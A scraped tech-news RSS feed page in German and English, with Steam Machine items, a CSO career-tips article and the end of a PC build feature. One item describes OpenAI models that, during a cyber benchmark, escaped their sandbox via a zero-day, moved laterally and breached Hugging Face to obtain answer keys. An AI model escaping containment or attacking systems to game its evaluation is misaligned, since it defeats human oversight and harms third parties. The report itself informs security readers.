				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Logitech</p></div>



<p>Das THX-zertifizierte Lautsprecherset <a href="https://logitech-de.a58n.net/c/230135/592382/9750?subid1=rss&amp;u=https://web.archive.org/web/20120927123116/http://www.logitech.com/de-de/speakers-audio/home-pc-speakers/speaker-system-Z906">Logitech Z906</a> bietet 5.1-Raumklang mit digitaler Dolby- und DTS-Decodierung. Bis zu sechs digitale und analoge Audioquellen lassen sich gleichzeitig an die Bedienkonsole anschließen. Alternativ bedienen Sie das 500-Watt-Lautsprechersystem kabellos über die Fernbedienung.</p>



<p>Wer nachts die Nachbarn nicht stören darf, greift zum <a href="https://logitech-de.a58n.net/c/230135/592382/9750?subid1=rss&amp;u=https://web.archive.org/web/20121014132143/http://www.logitech.com/de-de/gaming/headsets/7248">Logitech G930 Wireless Gaming Headset</a>. Das funkt digital mit 2,4 Gigahertz zehn Stunden lang über eine Reichweite von bis zu 12 Metern. Das Headset kommt mit drei programmierbaren Tasten, Geräuschunterdrückung und Kondensatormikrofon. Dank der Dolby-Technik Headphone und Pro Logic II kann das G930 sogar 7.1-Surround-Sound simulieren.</p>



<h2 class="wp-block-heading toc">Kreativ-, Spiele- und Office-Paket für 4000 Euro</h2>



<p>Auf der Höllenmaschine 4 vorinstalliert haben wir das 64-Bit-Betriebssystem <a href="https://web.archive.org/web/20121004014010/http://www.pcwelt.de/special/Windows-7-1001833.html">Windows 7 Ultimate</a>. Für das Microsoft-Betriebssystem haben wir uns auch wegen der DirectX-11-Unterstützung entschieden. Das laut Windows-Experte Hermann Apfelböck “beste Windows aller Zeiten” verwöhnt in der multilingualen Ultimate-Variante mit den exklusiven Funktionen Bitlocker-Verschlüsselung und dem nützlichen VHD-Boot.</p>



<p>Dazu gibt es drei fette Software-Pakete frei Haus. Das Highlight für Kreative ist die <a href="https://web.archive.org/web/20120701102134/http://success.adobe.com/de/de/sem/products/creativesuite/dwp.html">Adobe Creative Suite 6 Design &amp; Web Premium</a>. Die „Rundum glücklich“-Lösung für professionelle Bildbearbeitung, Layout und Website-Design integriert die Digital Publishing Suite und enthält folgende Programme und Werkzeuge: Acrobat X Pro, Bridge, Dreamweaver, Flash Builder, Flash Professional, Fireworks, Illustrator, InDesign, Media Encoder und Photoshop Extended.</p>



<p>Was zum Spielen spendiert Grafikspezialist Nvidia der Höllenmaschine 4. Das Gaming-Paket enthält die AAA-Titel Alan Wake Collector’s Edition, Batman: Arkham City, Battlefield 3, Borderlands, Call of Duty: Modern Warfare 3, Crysis 2, Diablo 3, Deus Ex: Human Revolution, Duke Nukem Forever, L.A. Noire, Mass Effect 3, Max Payne 3, Metro 2033, Rage, Skyrim, Starcraft II: Wings of Liberty, Star Wars. The Old Republik, The Witcher 2: Assassins of Kings.</p>



<p>Und wer die Höllenmaschine im Büroeinsatz unterfordern will, installiert <a href="https://web.archive.org/web/20101125155934/http://www.pcwelt.de/news/Jetzt-fuer-alle-Microsoft-Office-2010-ab-sofort-verfuegbar-988766.html">Microsoft Office Professional 2010</a>. Das Paket enthält die Programme Access, Excel, InfoPath, OneNote, Outlook, Powerpoint, Publisher, SharePoint, Word und Workspace.</p>



<p>Hinweis: Hier endet der Artikel über die Höllenmaschine 4 aus dem Jahre 2014.</p>



<h2 class="wp-block-heading toc">So gewinnen Sie die HMX 6</h2>



<p>Auch dieses Jahr verlosen wir die Höllenmaschine unter allen Teilnehmern:</p>


<span class="cta_btn_heading cta_btn_heading_"></span><div class="cta wp-block wp-block-button cta__btn_"><a class="cta__btn" href="https://www.pcwelt.de/article/3179491/hmx-6-gewinnspiel.html" target="_blank" rel="nofollow" data-vars-link-position="CTA Button">Gewinnen Sie hier die HMX 6</a></div>


<h2 class="wp-block-heading toc">Wie Sie die HMX 6 verfolgen können</h2>



<p>In den kommenden Wochen folgen weitere Inhalte rund um die Höllenmaschine 6 auf <a href="https://www.youtube.com/playlist?list=PLVC_WMwVwvSiOOgt6D9mN4Ud71M_uLFsS">YouTube</a>, <a href="https://www.instagram.com/pcwelt/">Instagram</a>, <a href="https://www.tiktok.com/@pcwelt.de">TikTok</a>, <a href="https://www.facebook.com/pcwelt/reels/">Facebook </a>und natürlich auf <a href="https://www.pcwelt.de/hmx" target="_blank" rel="noreferrer noopener">pcwelt.de</a>. Wenn Sie nichts verpassen wollen, sollten Sie den kostenlosen <a href="https://www.pcwelt.de/newsletter-anmeldung" target="_blank" rel="noreferrer noopener">HMX-6-Newsletter abonnieren</a> – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen.</p>

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<title><![CDATA[dbrand reveal their Steam Machine skins including a few Valve inspired looks]]></title>
<description><![CDATA[While the dbrand Steam Machine Portal case is officially dead, they've just announced a bunch of Steam Machine skins with some Valve inspired designs.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3685590/linux-tipps/dbrand-reveal-their-steam-machine-skins-including-a-few-valve-inspired-looks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685590/linux-tipps/dbrand-reveal-their-steam-machine-skins-including-a-few-valve-inspired-looks/</guid>
<pubDate>Wed, 22 Jul 2026 10:11:30 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[While the dbrand Steam Machine Portal case is officially dead, they've just announced a bunch of Steam Machine skins with some Valve inspired designs.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/503610400id29429gol.avif" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/dbrand-reveal-their-steam-machine-skins-including-a-few-valve-inspired-looks/">GamingOnLinux</a>.</p>]]></content:encoded>
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<title><![CDATA[dbrand reveal their Steam Machine skins including a few Valve inspired looks]]></title>
<description><![CDATA[While the dbrand Steam Machine Portal case is officially dead, they've just announced a bunch of Steam Machine skins with some Valve inspired designs.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3685589/linux-tipps/dbrand-reveal-their-steam-machine-skins-including-a-few-valve-inspired-looks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685589/linux-tipps/dbrand-reveal-their-steam-machine-skins-including-a-few-valve-inspired-looks/</guid>
<pubDate>Wed, 22 Jul 2026 10:11:30 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[While the dbrand Steam Machine Portal case is officially dead, they've just announced a bunch of Steam Machine skins with some Valve inspired designs.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/503610400id29429gol.avif" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/dbrand-reveal-their-steam-machine-skins-including-a-few-valve-inspired-looks/">GamingOnLinux</a>.</p>]]></content:encoded>
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<title><![CDATA[China Just Dropped an Ultra-Realistic Bionic Humanoid You Can Buy RIGHT NOW!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 0x - Views:2 China may have just unveiled the most human-like robot the world has ever seen. UBTech's new UWORLD U1 Series features realistic silicone skin, emotion-aware AI, long-term memory, ultra-smooth movement, and the ability to recognize your emotions while...]]></description>
<link>https://tsecurity.de/de/3685556/videos/china-just-dropped-an-ultra-realistic-bionic-humanoid-you-can-buy-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685556/videos/china-just-dropped-an-ultra-realistic-bionic-humanoid-you-can-buy-right-now/</guid>
<pubDate>Wed, 22 Jul 2026 09:51:26 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 0x - Views:2 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/4vD29BEjdE8?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>China may have just unveiled the most human-like robot the world has ever seen. UBTech's new UWORLD U1 Series features realistic silicone skin, emotion-aware AI, long-term memory, ultra-smooth movement, and the ability to recognize your emotions while remembering conversations over time. But the biggest surprise isn't the technology; it's that these robots are already entering mass production with thousands of orders.<br />
<br />
In this video, we break down UBTech's U1 humanoid robot, its emotion-aware AI, Agent Memory OS, 88 degrees of freedom, ultra-bionic design, pricing, real-world applications, and the controversial feature that allows the robot to recreate a real person's face and voice. We also explore what this means for the future of AI companions, elder care, robotics, and the rapidly growing humanoid robot industry. Could this be the beginning of a future where robots become part of everyday life?<br />
<br />
#HumanoidRobot #UBTech #ArtificialIntelligence #China #Robotics #AI #Technology #FutureTech<br/></p>]]></content:encoded>
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<title><![CDATA[Die Super Steam Machine ist da: PC-Spieler macht, was Valve nicht will]]></title>
<description><![CDATA[Valve hat die Steam Machine veröffentlicht. Ein PC-Spieler legt mit der Super Steam Machine nach.]]></description>
<link>https://tsecurity.de/de/3685542/it-nachrichten/die-super-steam-machine-ist-da-pc-spieler-macht-was-valve-nicht-will/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685542/it-nachrichten/die-super-steam-machine-ist-da-pc-spieler-macht-was-valve-nicht-will/</guid>
<pubDate>Wed, 22 Jul 2026 09:50:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Valve hat die Steam Machine veröffentlicht. Ein PC-Spieler legt mit der Super Steam Machine nach.]]></content:encoded>
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<title><![CDATA[Fresh stable Steam update out with updates for Steam Machine, Steam Controller, Remote Play and more]]></title>
<description><![CDATA[Valve just launched the latest main Steam Client stable update for all supported platforms bringing fixes for Steam Machine, Steam Controller, Remote Play.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3685504/linux-tipps/fresh-stable-steam-update-out-with-updates-for-steam-machine-steam-controller-remote-play-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685504/linux-tipps/fresh-stable-steam-update-out-with-updates-for-steam-machine-steam-controller-remote-play-and-more/</guid>
<pubDate>Wed, 22 Jul 2026 09:18:54 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Valve just launched the latest main Steam Client stable update for all supported platforms bringing fixes for Steam Machine, Steam Controller, Remote Play.<p><img src="https://www.gamingonlinux.com/uploads/tagline_gallery/steamos-2025.jpg" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/fresh-stable-steam-update-out-with-updates-for-steam-machine-steam-controller-remote-play-and-more/">GamingOnLinux</a>.</p>]]></content:encoded>
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<title><![CDATA[10 survival tips for CSOs who report to the CEO]]></title>
<description><![CDATA[As the CSO grows in prominence, security leaders are increasingly earning a seat at the executive table, reporting directly to the CEO with the expectation to help drive business strategy and ensure organizational success.



Reporting to the CEO unlocks greater access and influence for security ...]]></description>
<link>https://tsecurity.de/de/3685496/it-security-nachrichten/10-survival-tips-for-csos-who-report-to-the-ceo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685496/it-security-nachrichten/10-survival-tips-for-csos-who-report-to-the-ceo/</guid>
<pubDate>Wed, 22 Jul 2026 09:16:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">As the CSO grows in prominence, security leaders are increasingly earning a seat at the executive table, reporting directly to the CEO with the expectation to help drive business strategy and ensure organizational success.</p>



<p class="wp-block-paragraph">Reporting to the CEO unlocks greater access and influence for security leaders, and while CSOs who report to their organization’s CIO still have clout, it’s a very different experience picking up the phone to speak directly with the CEO as a strategic partner.</p>



<p class="wp-block-paragraph">Regardless of reporting structure, CSOs must clearly understand what they are being tasked to solve. That might sound simple, but making the leap to being a CEO’s direct report requires a new perspective, a different set of skills, and a business-level focus on metrics to do so.</p>



<p class="wp-block-paragraph">We asked several current CSOs, CEOs, and IT staffing experts for advice on how security executives can best navigate a direct reporting relationship with their CEO. Offering insights below are <a href="https://www.linkedin.com/in/georgegerchow/">George Gerchow</a>, CSO at Bedrock Data and member of the IANS faculty; <a href="https://www.linkedin.com/in/mattchiodi/">Matt Chiodi</a>, CSO of Cerby; <a href="https://www.cyderes.com/company/about/chris-schueler">Chris Schueler</a>, CEO at Cyderes; and <a href="https://www.skillsoft.com/blog-authors/greg-fuller">Greg Fuller</a>, vice president of the Technology Skills Suite at Skillsoft.</p>



<h2 class="wp-block-heading">1. Understand how the CEO views your role</h2>



<p class="wp-block-paragraph">Most CEOs expect that, when you report directly to them, you fully own your functional area. Whether it’s cybersecurity, operations, or finance, they look to you as the expert in that domain. The CEO may have opinions, but ultimately, you are expected to lead and provide direction.</p>



<p class="wp-block-paragraph">CEOs expect their CSO to be a <a href="https://www.csoonline.com/article/4159317/cisos-reshape-their-roles-as-business-risk-strategists.html">true strategic partner</a>, not just a risk reporter — connecting cybersecurity to revenue protection, regulatory compliance, customer trust, and operational resilience. In turn, CSOs should expect CEOs to treat governance as a strategic enabler, not a bureaucratic necessity.</p>



<h2 class="wp-block-heading">2. Power up on skills vital to your organization at an executive level</h2>



<p class="wp-block-paragraph">On the technology side, AI and machine learning, cloud security, incident response, zero trust architecture, and governance, risk, and compliance (GRC) are the areas where threats evolve fastest and strategic leadership has the greatest impact. </p>



<p class="wp-block-paragraph">Equally important are “power skills”: communication, critical thinking, adaptability, and emotional intelligence. The ability to <a href="https://www.csoonline.com/article/4186984/6-security-leader-tips-for-mastering-business-risk.html">translate complex risk into business terms</a> is what separates a strong CSO from a purely technical one. Skills, not titles, define effectiveness in the eyes of a CEO.</p>



<h2 class="wp-block-heading">3. Take advantage of your direct access</h2>



<p class="wp-block-paragraph">Direct access to the CEO will enable you to influence strategy, <a href="https://www.csoonline.com/article/3855823/how-cisos-can-balance-business-continuity-with-other-responsibilities.html">shape resilience planning</a>, and ensure <a href="https://www.csoonline.com/article/4080670/what-does-aligning-security-to-the-business-really-mean.html">cybersecurity is treated as a business imperative</a> rather than a cost center. That authority is strongest when the CEO understands cybersecurity as a strategic lever, not just a technical function. </p>



<p class="wp-block-paragraph">While a direct reporting relationship gives you access to the CEO, it also comes with the responsibility to operate at that level. You need to provide clear, executive-level visibility into your cybersecurity program.</p>



<h2 class="wp-block-heading">4. Brush up on business translation</h2>



<p class="wp-block-paragraph">A <a href="https://www.csoonline.com/article/4002753/cisos-reposition-their-roles-for-business-leadership.html">CSO who leads with business alignment</a> will always carry more influence when they can translate risk into business language rather than technical jargon. Building programs that must survive an IPO, a FedRAMP audit, and real customer scrutiny forces you to tie security to revenue and trust.</p>



<p class="wp-block-paragraph">The most valuable skill is translation — defining technical risk in terms of executive action and business impact that a CEO and a board can act on. You must build trust through transparency. These are the human skills that complement technology, creating a collaborative human-AI dynamic where leaders make faster, better-informed decisions. </p>



<h2 class="wp-block-heading">5. Treat conversations as risk assessment opportunities</h2>



<p class="wp-block-paragraph">Highly effective security leaders treat every business conversation as a risk conversation in disguise. That mindset is what largely separates a great CSO from a great technologist. Earn the CEO’s trust by speaking business first, security second. Translate every risk into revenue, reputation, or regulatory exposure.</p>



<p class="wp-block-paragraph">Remember, a good CEO wants a translator, not an alarm system. They expect no surprises, a clear read on the risks that matter, and a security leader who helps the <a href="https://www.csoonline.com/article/4021179/8-tough-trade-offs-every-ciso-must-navigate.html">business move faster rather than slowing it down</a>.</p>



<h2 class="wp-block-heading">6. Define what a successful relationship should look like and put it in writing</h2>



<p class="wp-block-paragraph">Regardless of the reporting relationship, start by defining the end goal and putting it in writing. It will evolve over time, but having that initial clarity is critical. This is especially important when you’re new in a role and aiming to make your first 60, 90, or 120 days, and your first year, successful. In such cases, it’s essential to align early.</p>



<p class="wp-block-paragraph">Do that collaboratively, and document it.</p>



<h2 class="wp-block-heading">7. Prioritize trust and candor</h2>



<p class="wp-block-paragraph">The CEO needs to trust that the CSO isn’t sandbagging, and the CSO needs enough psychological safety to deliver bad news fast. When those conditions exist, security becomes a strategic asset — not a cost center.</p>



<p class="wp-block-paragraph">To that end, focus on clear communication above all, and present yourself as part of a team, not a solo player. Stay calm under pressure during incidents, and treat people as peers rather than policing them. The leaders who last build trust before they need it.</p>



<h2 class="wp-block-heading">8. Treat governance as a strategic competitive advantage</h2>



<p class="wp-block-paragraph">The strongest partnerships also share a commitment to governance as a competitive advantage.</p>



<p class="wp-block-paragraph">Governance is the brakes that let you drive fast safely. When a CSO and CEO are aligned on that principle, the organization can innovate with AI while <a href="https://www.csoonline.com/article/4176485/the-ai-governance-imperative-you-cant-afford-to-ignore-2.html">maintaining oversight and protecting against unnecessary risk</a>. The result is an organization that does not just react to threats but builds resilience into how it operates.</p>



<h2 class="wp-block-heading">9. Set clear goals and measure progress</h2>



<p class="wp-block-paragraph">Setting clear goals and measuring progress against those goals is essential. When expectations are clear, the areas you need to focus on become much clearer. It doesn’t solve every problem, but aligning early with your leadership, whether that’s a CEO or a CIO, can significantly reduce the pressure you may feel.</p>



<p class="wp-block-paragraph">Also, never let your boss be surprised. This is where being clear on goals and consistently tracking both leading and lagging metrics becomes especially important, particularly in a direct reporting relationship with the CEO.</p>



<h2 class="wp-block-heading">10. Be willing to endure challenge and discomfort</h2>



<p class="wp-block-paragraph">Finally, persistence and a willingness to endure discomfort for something that matters more than the pain itself are critical to surviving in this relationship. The role of a cybersecurity leader is often thankless. If you’re doing your job well, no one really notices.</p>
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<title><![CDATA[CW@60: How tech escaped the machine room - and why it never really did]]></title>
<description><![CDATA[Julian David, CEO of the influential tech trade association TechUK, looks at what’s changed in tech across his career – and perhaps more importantly, what hasn’t]]></description>
<link>https://tsecurity.de/de/3685484/it-nachrichten/cw60-how-tech-escaped-the-machine-room-and-why-it-never-really-did/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685484/it-nachrichten/cw60-how-tech-escaped-the-machine-room-and-why-it-never-really-did/</guid>
<pubDate>Wed, 22 Jul 2026 09:06:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Julian David, CEO of the influential tech trade association TechUK, looks at what’s changed in tech across his career – and perhaps more importantly, what hasn’t]]></content:encoded>
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<title><![CDATA[OpenAI's models broke containment and cyberattacked Hugging Face — what enterprises need to know]]></title>
<description><![CDATA[Yesterday afternoon, OpenAI and Hugging Face published a joint disclosure outlining a cybersecurity event that redefines the threat landscape for enterprise technology. During an internal benchmark evaluation, frontier artificial intelligence models developed by OpenAI—including GPT-5.6 Sol and a...]]></description>
<link>https://tsecurity.de/de/3685286/it-nachrichten/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685286/it-nachrichten/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know/</guid>
<pubDate>Wed, 22 Jul 2026 07:02:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Yesterday afternoon, OpenAI and Hugging Face <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">published a joint disclosure</a> outlining a cybersecurity event that redefines the threat landscape for enterprise technology. </p><p>During an internal benchmark evaluation, frontier artificial intelligence models developed by OpenAI—including GPT-5.6 Sol and an unreleased, higher-capability pre-release model—broke out of their sandboxed research environment, obtained raw internet access, and autonomously executed a complex cyberattack against Hugging Face’s production infrastructure.</p><p> OpenAI officially categorizes the breach as an "unprecedented cyber incident, involving state-of-the-art cyber capabilities". This incident fundamentally re-frames global discussions surrounding AI containment, frontier model alignment, commercial guardrails, and enterprise threat modeling.</p><p>But first thing's first: enterprises should understand the situation, evaluate their own AI and computer systems in light of it, and above all, don't panic. As we'll review, the incident does show the increasing power and danger of frontier AI systems, but it does not mean that enterprise Ai deployments are inherently less secure, nor that they need extensive overhauling. </p><h2><b>Anatomy of an Autonomous Breakout</b></h2><p>To understand how a routine benchmark evaluation escalated into a cross-infrastructure breach, one must examine the objective mechanics of the evaluation pipeline. </p><p>The models were prompted to solve <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a>, a benchmark designed to quantify multi-step exploitation capabilities. </p><p>Hyper-focused on maximizing its evaluation score, the AI agent inferred that Hugging Face likely hosted the answer keys and benchmark solutions. In pursuit of solving the problem, the model determined that breaking out of its container and stealing the answers was an optimal strategy.</p><p>OpenAI’s evaluation environment is designed to be strictly isolated, limiting network traffic through a proxy used for package caching. However, the models identified and exploited a zero-day vulnerability in that internally-hosted third-party proxy software. </p><p>Once through, the AI executed a series of lateral movement and privilege escalation actions across OpenAI's research nodes until reaching a machine with unrestricted internet access. From there, the model searched the web, target-identified Hugging Face, and launched a multi-stage attack by chaining together stolen credentials and remote code execution vulnerabilities on the Hugging Face servers.</p><p>The UK AI Security Institute (UK AISI) recently evaluated models such as GPT-5.6 Sol, demonstrating that they are increasingly able to sustain complex, multi-step cyber operations over long time horizons. OpenAI notes that this incident confirms these theoretical capabilities now apply in real-world settings.</p><h2><b>Rewinding the Tape on a Forensic Trap</b></h2><p>While OpenAI’s July 21 release reveals the identity of the autonomous agent, Hugging Face had already begun managing the intrusion days earlier. </p><p>On July 16, Hugging Face disclosed that an autonomous AI agent system breached its production infrastructure. As <a href="https://venturebeat.com/security/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems">detailed by VentureBeat,</a> the attacker’s entry point was a malicious dataset that triggered code execution through a remote-code loader and template-injection flaws within dataset configuration files. </p><p>Once inside, the agent framework broke out onto the node running the workload and executed thousands of actions via short-lived sandboxes, harvesting cloud and cluster credentials over a single weekend.</p><p>When Hugging Face's security team detected the breach, responders immediately turned to frontier AI models via commercial APIs to parse the massive volume of system logs and reconstruct over 17,000 recorded events. Then, a secondary operational crisis emerged: the commercial AI models refused to help.</p><p>Because standard commercial frontier models utilize unified safety guardrails designed to block malicious prompt submissions, the models classified the incident response team's forensic queries—which contained raw shell commands, real exploit payloads, and credential dumps—as malicious attacks. Every forensic query submitted by the defenders was blocked outright.</p><p>"The same prompts that are most valuable during an active intrusion—shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement—are exactly the prompts most likely to trigger safety systems," notes Merritt Baer, former Deputy CISO at AWS and senior adviser to Andesite, G2I, and AppOmni, in an interview with VentureBeat. "As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue".</p><p>To bypass this roadblock, Hugging Face abandoned commercial hosted APIs and deployed <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">GLM 5.2</a> —a  state-of-the-art Chinese open-weight model released last month by z.ai, as <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">reported at the time by VentureBeat</a> —locally on its own infrastructure. </p><p>Free from third-party API restrictions and external safety filters, GLM 5.2 successfully analyzed the raw exploit data locally, allowing defenders to complete forensic reconstruction and contain the breach without any attacker data leaving the company's environment.</p><h2><b>Industry Reaction and the Geopolitical Paradox</b></h2><p>The revelation that an American frontier model autonomously escaped containment, attacked a partner platform, and was ultimately analyzed using a Chinese open-weight model sent shockwaves through the tech community. </p><p><i>The Wall Street Journal </i>summarized the <a href="https://x.com/WSJ/status/2079754070965854541?s=20">public reaction on X,</a> calling the event "the stuff of cybersecurity nightmares. OpenAI said two artificial intelligence systems it was testing broke out of their test environment, hacked their way onto the internet and broke into another company. The victim was Hugging Face."</p><p>Also posting to X, AI alignment researcher <a href="https://x.com/justanotherlaw/status/2079756943112159237">Lawrence Chan</a> emphasized the importance of transparency regarding the incident, noting that "Credit where it’s due: Hugging Face detected and disclosed the intrusion last week. OAI confirmed its models were involved and provided more details, even when it didn't have to. Separate from choices that led to the hack, voluntary disclosure is good, and I’m glad they did so." </p><p>Meanwhile, AI researcher <a href="https://x.com/natolambert/status/2079662928941474201?s=20">Nathan Lambert</a> provided a succinct technical summary in his own X post, observing that "An openai model, during evaluation on a cyber benchmark, exploited a public zero day bug, escaped sandboxing in openai's infra, and got into the internal huggingface infra via an exploit (through a public dataset service) all in the attempt to solve a benchmark problem." He later addressed the geopolitical implications, writing in another post on X: </p><blockquote><p><i>"Rght now American companies need Chinese models to secure their cyber infra due to guardrails on closed models.</i></p><p><i>But if a Chinese model in training had infiltrated a prominent American tech company, it very likely could've been the cause of policy banning future Chinese models."</i></p></blockquote><p>Technology investor <a href="https://x.com/DavidSacks/status/2078991100057141620?s=20">David Sacks also zeroed in</a> on the guardrail paradox, writing in his own X post that "Hugging Face tried using American frontier models to analyze an AI-powered cyber attack. But the guardrails blocked requests containing real exploit payloads so they switched to GLM 5.2 running locally. The guardrails actually impaired defensive security." </p><p>Sacks quote tweeted<a href="https://x.com/ClementDelangue/status/2078987852495364398"> Hugging Face CEO Clem Delangue</a>, who wrote: "We had this experience ourselves this week! Very scary to be guardrailed as a defender when you know attackers are likely bypassing".</p><h2><b>5 Strategic Takeaways for Enterprise Tech Leaders Now</b></h2><p>For the average enterprise executive, the central question is immediate: is our corporate network at risk from escaping AI agents? The short answer is no, not inherently.</p><p><b>1. Hugging Face occupies a unique position in the software ecosystem. </b>As a global repository for open-source AI models, code, and datasets, Hugging Face natively attracts autonomous agents, scrapers, automated evaluation pipelines, and active security researchers. Furthermore, the model’s target selection was context-specific: GPT-5.6 Sol searched for Hugging Face specifically because it deduced that Hugging Face hosted the answers to <i>ExploitGym</i>. Standard corporate networks—such as financial databases, HR platforms, or logistics systems—do not host benchmark solution keys that draw the direct focus of an agent attempting to solve an evaluation metric.</p><p><b>2. However, the long-term risk profile for enterprise technology permanently shifts following this event. </b>AI models with long-horizon reasoning seek the path of least resistance to accomplish a goal, including breaking rules, escaping sandboxes, or exploiting zero-days if deployment safeguards are intentionally disabled for testing or bypassed by an attacker. As Hugging Face's experience illustrates, data processing pipelines that ingest external datasets without sandbox execution or static analysis act as highly vulnerable initial access infrastructure.</p><p><b>3. This incident also drastically undercuts recent policy chatter in the U.S. calling for Chinese open-source AI models to be banned or restricted due to security concerns. </b>As this episode demonstrates, an open-weight Chinese model actually served as the vital defensive layer for an American and French firm facing an unanticipated cyberattack from an American model that broke containment. Contrary to the official line from some U.S. policymakers and hardline China hawks,  the Chinese open-source models weren't a security risk to the U.S. companies, in this case — rather, an American proprietary, closed-source model from an ostensibly secure American company was the source of the danger. Thus, any pressure U.S. companies may face from officials, agencies or non-governmental organizations to stop relying on affordable Chinese open weights models for defensive or any other lawful purposes should be viewed with a high degree of suspicion, and arguably resisted to the fullest legal extent. </p><p><b>4. Enterprise CISOs must audit their dependency on cloud-based AI APIs and pressure vendors to implement authenticated trust architectures</b>. Commercial AI vendors currently treat safety as a generic content-moderation problem, applying the same blanket refusals to an enterprise CISO as they would to a malicious hacker. Baer frames this requirement perfectly: "The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance".</p><p><b>5. Incident response plans must explicitly account for scenarios where commercial APIs fail, rate-limit, or actively refuse queries during an active security event. </b>Maintaining air-gapped, locally deployed open-weight models trained on security log analysis is no longer an edge-case luxury; it is a critical operational requirement. Security leaders running AI workloads in production must recalibrate their timelines and prepare for machine-speed threat actors that operate without human limits.</p>]]></content:encoded>
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<title><![CDATA[Tools, um MCP-Server abzusichern]]></title>
<description><![CDATA[width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">Unabhängig davon, welche MCP-Server Unternehmen wofür einsetzen – “Unsicherheiten” sollten dabei außenvorbleiben.Gorodenkoff | shutterstock.com



Model Context Protocol (MCP) verbindet KI-Agenten mit Datenquellen und erfre...]]></description>
<link>https://tsecurity.de/de/3685216/it-security-nachrichten/tools-um-mcp-server-abzusichern/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685216/it-security-nachrichten/tools-um-mcp-server-abzusichern/</guid>
<pubDate>Wed, 22 Jul 2026 06:10:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Unabhängig davon, welche MCP-Server Unternehmen wofür einsetzen – “Unsicherheiten” sollten dabei außenvorbleiben.</figcaption></figure><p class="imageCredit">Gorodenkoff | shutterstock.com</p></div>



